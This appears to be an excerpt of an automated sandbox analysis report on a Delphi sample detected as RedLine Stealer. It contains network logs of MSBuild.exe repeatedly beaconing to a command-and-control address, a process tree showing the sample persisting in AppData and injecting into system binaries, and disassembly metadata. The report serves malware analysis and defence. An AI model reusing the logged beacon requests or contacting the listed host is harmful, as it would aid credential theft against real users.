Sep 26, 2024 01:50:40.371006966 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	58419	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:42.291349888 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	58420	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:44.055253983 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	58421	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:45.926580906 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	58422	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:47.685138941 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	58423	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:49.553596973 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	58424	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:51.329005003 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	58425	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:50:53.238379002 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	58426	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:06.921730995 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	58427	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:08.971719980 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	58428	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:10.749291897 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	58429	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:15.033782005 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	58430	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:16.966608047 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	58431	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:18.862571955 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	58433	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:20.676564932 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	58435	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:24.955878973 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	58437	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:26.750313997 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	58438	213.109.202.97	9000	2688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:28.645545959 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	58439	213.109.202.97	9000

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 01:51:32.498626947 CEST	112	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Target ID:	0
Start time:	19:47:22
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe"
Imagebase:	0xb60000
File size:	19'169'216 bytes
MD5 hash:	2AFBE1369DD12CC3264A4B4C332396B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:47:24
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x170000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:47:24
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:47:39
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Imagebase:	0x120000
File size:	19'169'216 bytes
MD5 hash:	2AFBE1369DD12CC3264A4B4C332396B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:47:41
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x7ff75da10000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:47:42
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:47:47
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe"
Imagebase:	0x120000
File size:	19'169'216 bytes
MD5 hash:	2AFBE1369DD12CC3264A4B4C332396B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:47:49
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x640000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3933436343.00000000061B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	19:47:49
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x170000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:47:49
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:47:57
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x5c0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:48:01
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0xc80000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:51:01
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
Imagebase:	0x120000
File size:	19'169'216 bytes
MD5 hash:	2AFBE1369DD12CC3264A4B4C332396B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:51:03
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x170000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:51:03
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:51:14
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x230000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	29.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	149
Total number of Limit Nodes:	7

Executed Functions

Function 00B64F95 Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B64F35: GlobalAlloc.KERNELBASE(00000000,00000000,00000000,?), ref: 00B64F65

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 00B64FF9

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction ID: 73d955029cdbc9b78a6395ddf8de57b021cd558122e683addee6ec37d0f835ba
Opcode Fuzzy Hash: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction Fuzzy Hash: 9851D875E00609EFCB14CF98C891AAEB7F5FF48300F208599E915A7344D779AA91CBA1

Function 00B64875 Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 00B64897

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction ID: 831a3bc5a64ae9eb73892174bd4186e7ae1bbb8f0be3647bea792e4c2cc68c0f
Opcode Fuzzy Hash: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction Fuzzy Hash: 3431CE75A00508FFCB14DF98C891F9EB7B9EF89310F208198E918AB391D735AE41DB50

Function 00B656B5 Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B64F35: GlobalAlloc.KERNELBASE(00000000,00000000,00000000,?), ref: 00B64F65

Part of subcall function 00B644A5: LoadLibraryW.KERNELBASE(?), ref: 00B644D6

VirtualProtect.KERNELBASE(?,00000000,?,00000000), ref: 00B6628A
VirtualProtect.KERNELBASE(?,00000000,00000000,00000000), ref: 00B662BD

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: ProtectVirtual$AllocGlobalLibraryLoad
String ID:
API String ID: 2510009449-0
Opcode ID: a34dc732b08cc3d88189158a146e47a5d440644af94d703805d599eb5e94a7b0
Instruction ID: 7a7d658ac2d1491b7abe69d389bef014656009318511c3317f62e5bf77d57d18
Opcode Fuzzy Hash: a34dc732b08cc3d88189158a146e47a5d440644af94d703805d599eb5e94a7b0
Instruction Fuzzy Hash: 5D92A4B5E00218AFCB14DFD8C991EAEB7B5BF88300F248199E509A7345E735AE45CF90

Function 00B64E65 Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00B64E87
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 00B64EB5

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: bf0812c22acd0c2621d3668226eba8d7b0acfdb248035b85fc0c17f74e5add41
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 06012D74600508FBCB14DE98DC81F9AB3B9AF88314F208295FA199B280D731EE02DB90

Function 00B644A5 Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B64F35: GlobalAlloc.KERNELBASE(00000000,00000000,00000000,?), ref: 00B64F65

LoadLibraryW.KERNELBASE(?), ref: 00B644D6

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction ID: 27fc4d7cebe3d665d94751539d3ded763169ba4e13960f05f7e12b6c42ed32aa
Opcode Fuzzy Hash: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction Fuzzy Hash: F3E0ED79E00208BBCB40EFE8DD8299D7BB8AF48301F108194F90C97340E631AA118BD1

Function 00B664C5 Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: 03adf2c084a6310fb527430b5be00b81e838de819885c279234d0bbbc3f59fec
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: E191D8B5D04209EFCB08CF98D891AEEBBF5BF88310F148199E515AB354D734AA45CFA0

Function 00B64F35 Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000,?), ref: 00B64F65

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 208449b1598d10f11b6d1294bcf85a0874c7df4f7603635d139edf39de0404d4
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: 88F02278A14208EFCB48DF58D584959B7A5EB48360F10C299BC1D8B341D631EE81DB94

Non-executed Functions

Function 00B65665 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1473593355.0000000000B63000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B63000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b63000_1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Analysis Process: MSBuild.exePID: 2688, Parent PID: 6572COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	90.6%
Signature Coverage:	7.2%
Total number of Nodes:	139
Total number of Limit Nodes:	12

Executed Functions

Function 07C57840 Relevance: 16.8, Strings: 12, Instructions: 1768COMMON

Download Yara Rule

Strings

[, xrefs: 07C58605
}, xrefs: 07C59669
", xrefs: 07C5843F
[, xrefs: 07C589F8
\, xrefs: 07C57A98
u, xrefs: 07C57DC5
], xrefs: 07C58695
], xrefs: 07C58A88
{, xrefs: 07C58F6E
g, xrefs: 07C5967E
}, xrefs: 07C58FF3
{, xrefs: 07C595E0

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: "$[$[$\$]$]$g$u${${$}$}
API String ID: 0-430781446
Opcode ID: d108cc2668d88ba79f0f218997f2f699adc30194d85de1662e70bf2997ed78d8
Instruction ID: 8ee2f6bb5836a35a19f63a909a5a49e1d87bb4f80783d04706ee9f804ebfe6b1
Opcode Fuzzy Hash: d108cc2668d88ba79f0f218997f2f699adc30194d85de1662e70bf2997ed78d8
Instruction Fuzzy Hash: 1413B4B4A002298FDB64DF68C984B9DBBB6BF49304F1482E9D509A7255DB31AEC1CF44

Function 07C5A680 Relevance: 12.1, Strings: 9, Instructions: 840
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-, xrefs: 07C5B07F
{, xrefs: 07C5A77E
", xrefs: 07C5AE29
], xrefs: 07C5AB48
", xrefs: 07C5ADA0
5, xrefs: 07C5AD57
}, xrefs: 07C5A808
[, xrefs: 07C5AABB
%Ga, xrefs: 07C5AC9D

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: "$"$%Ga$-$5$[$]${$}
API String ID: 0-4252160405
Opcode ID: 059d82ece5e3720e8ad836e05536522ef39f0172d7aebaa24ecc672155293f13
Instruction ID: 183192dae6e2d885ea068481c5d5d3a762a7c906ab3e855831d996165e28e567
Opcode Fuzzy Hash: 059d82ece5e3720e8ad836e05536522ef39f0172d7aebaa24ecc672155293f13
Instruction Fuzzy Hash: 0192C0B4E002198FDB64DF69C984BDDBBB2BF49300F5482E9D809A7255DB319E81CF54

Function 00E615E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

@^#, xrefs: 00E628FC
*JL6, xrefs: 00E62240
WG#`, xrefs: 00E618E8
:hW`, xrefs: 00E62055
I0=, xrefs: 00E61F14
S3., xrefs: 00E626D4

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: 3382daddbd05c49521811fb45f9c3e7dcfbf99dfacc1a00b84a5005a3393c8b3
Instruction ID: 6e0bc55d57fe4cfeda8b0252621dc2aaa1c835b529123430009940e3221df7b6
